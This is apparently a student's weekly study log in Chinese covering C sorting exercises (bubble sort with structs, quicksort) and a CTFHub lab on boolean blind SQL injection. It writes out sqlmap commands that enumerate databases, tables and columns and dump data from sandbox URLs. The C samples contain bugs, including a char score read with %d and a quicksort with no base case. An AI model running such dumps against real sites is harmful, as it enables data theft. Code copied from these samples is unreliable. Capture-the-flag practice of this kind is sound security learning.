第四次周报

第四次周报

—————————————————————————————
这次周报有点不好意思放出来,因为学的东西太少了。
主观原因——懒…
客观原因——出门了几天忘记带电脑了。

文章目录

    • 第四次周报
  • 复习c语言
    • 复习sql注入
      • 简单算法题
      • 布尔盲注

复习c语言

好久没有碰了,很多东西都忘了,所以就把之前做的c语言笔记给复习了一下

复习sql注入

跟c语言一样,同样是很多东西忘了,复习了sql语句和之前的题目。

简单算法题

1.冒泡排序的应用
冒泡排序加上一个结构体的应用

#include 
struct student//运用一个结构体,进行分组的定义、输入
{
	char name[21];//字符类的都要运用 char 来进行定义
	char score;//分数可能带小数点,所以运用char类型
};
int main()
{
	struct student a[100],t;//a[100],t定义为结构体类型
	int i,j,n;
	scanf("%d",&n);//有多少个对象
	for(i=1;i<=n;i++)
		scanf("%s %d",a[i].name,&a[i].score);//输入结构体的形式a[i].XXXXX对应结构体中的格式
	for(i=1;i<=n-1;i++)//冒泡排序
	{
		for(j=1;j<=n-i;j++)
		{
			if(a[j].score<a[j+1].score)
			{
				t=a[j];//t代表的是整个结构体类型
				a[j]=a[j+1];
				a[j+1]=t;
			}
		}
	}
	for(i=1;i<=n;i++)
	{
		printf("%s\n",a[i].name);//名字、成绩是个整体。名字的排序会按照成绩进行排序。
	}
	return 0;
}
/*1
冒泡排序的实际应用:
知识点:结构体的定义、结构体形式的输入与输出、冒泡排序。
结构体的用来可方便的定义每一组数据、减少内存。*/

2.快速排序
速排序
快速排序顾名思义很快速,相比于冒泡排序与桶排序,快速排序结合了两者的优点。快速又节省内存。下面我就向大家讲解一下。
先举个栗子:6 1 2 7 9 3 4 5 10 8
首先我们将第一个数6作为基准数(其实就是一个参照数)然后我们要将下面的数进行分类了,我们将比6小的数放在6的右边比6大的数放在左边。如下所示。 3 1 2 5 4 6 9 7 10 8(从右向左依次排序,这里3与6的位置交换)这个时候我们再分别对左边与右边实行上面的同样的程序直到最后的基准数两边都不需要交换了(这里需要用到函数)。但是这只是我们的思路。
面对一组数字我们要用到数组,这个时候我们不能一开是就将6放在中间而是先交换再将第一个数6与中间的数交换位置(偶数也是没问题的);
具体的第一次排序过程如下:
6 1 2 7 9 3 4 5 10 8
6 1 2 5 9 3 4 7 10 8
6 1 2 5 4 3 9 7 10 8
3 1 2 5 4 6 9 7 10 8 后面就是对6的两边重复上述操作。自己一定要想一想哦。我就奉上我的代码了。

#include 
int a[100];//定义全局变量  有因为两个子函数都要用
void quicksort(int left,int right)
{
	int i,t,j,first;
	first=a[left];
	i=left;
	j=right;
	while(i!=j)//两边的下标不相同是可以进行循环,相当于从搜索到了中间
	{
		while(a[j]>=a[left] && i<j)//先从右向左寻找 
			j--;
		while(a[i]<=a[left] && i<j)//从左向右寻找
			i++;
		if(i<j)//进行交换
		{
			t=a[j];
			a[j]=a[i];
			a[i]=t;
		}

	}
	a[left]=a[i];
	a[i]=first;//基准数的位置交换
	quicksort(left,i-1);//左边交换一轮后 左边要长度要‘-1’因为基准数站了一个位子
	quicksort(i+1,right);//右边进行操作
}
int main()
{
	int i,n;
	printf("请输入数组的长度\n");
	scanf("%d",&n);
	printf("请输入要排序的数字\n");
	for(i=1;i<=n;i++)
	{
		scanf("%d",&a[i]);
		
	}
	quicksort(1,n);
	for(i=1;i<=n;++i)
	{
		printf("%d",a[i]);
	}
	getchar();getchar();//这里相当于system("pause");
	return 0;
}

3.桶排序…
4.解密QQ号…

布尔盲注

首先得了解什么是布尔盲注。
布尔盲注:布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false。更简单的来讲就是当你进行注入语句时,页面只回显“true”or“false”。
一.爆破数据库的库名

输入:python sqlmap.py -u"http://challenge-cb6615ef28a95b3d.sandbox.ctfhub.com:10080/?id=1" -batch -dbs
结果:第四次周报_第1张图片

python sqlmap.py -u"XXX" -batch 是基本结构 XXXX表示对该URL进行注入 “-”指向所需要爆破的数据。“-dbs”指向数据库。

由图可知搜索到数据库的类型:

二.爆破当前数据库中的表名
输入:python sqlmap.py -u"http://challenge-8400f0508f0ba587.sandbox.ctfhub.com:10080/?id=1" -batch -D"sqli" -tables
这里“D”表示数据库,“-tables”指向爆破表名
结果:第四次周报_第2张图片

得出其中的两个表名flag、news。
三.爆破列名
输入:python sqlmap.py -u"http://challenge-8400f0508f0ba587.sandbox.ctfhub.com:10080/?id=1" -batch -D"sqli" -T"flag" -columns
“-T”表示表名,“-columns”指向爆破列名
结果:第四次周报_第3张图片

获得了其中的数据类型是varchar( VARCHAR(M)是一种比CHAR更加灵活的数据类型,同样用于表示字符数据,但是VARCHAR可以保存可变长度的字符串。)在这里是可变是因为这里是ctfhub中的flag每次不一样且flag是字符所以属于varchar。

四.爆破其中的数据
输入:python sqlmap.py -u"http://challenge-8400f0508f0ba587.sandbox.ctfhub.com:10080/?id=1" -batch -D"sqli" -T"flag" -C"flag" -dump
“C”是列名,“-dump”是导出数据的意思。
结果:第四次周报_第4张图片

成功获得了flag。

不熟悉的话可以去用这个去爆破sql整数型与字符型类型。
手动注入也可以去了解一下,只不过有点麻烦。

很抱歉,这周只学了这么点东西,下周我会调整好状态的。

你可能感兴趣的:(新手,c语言)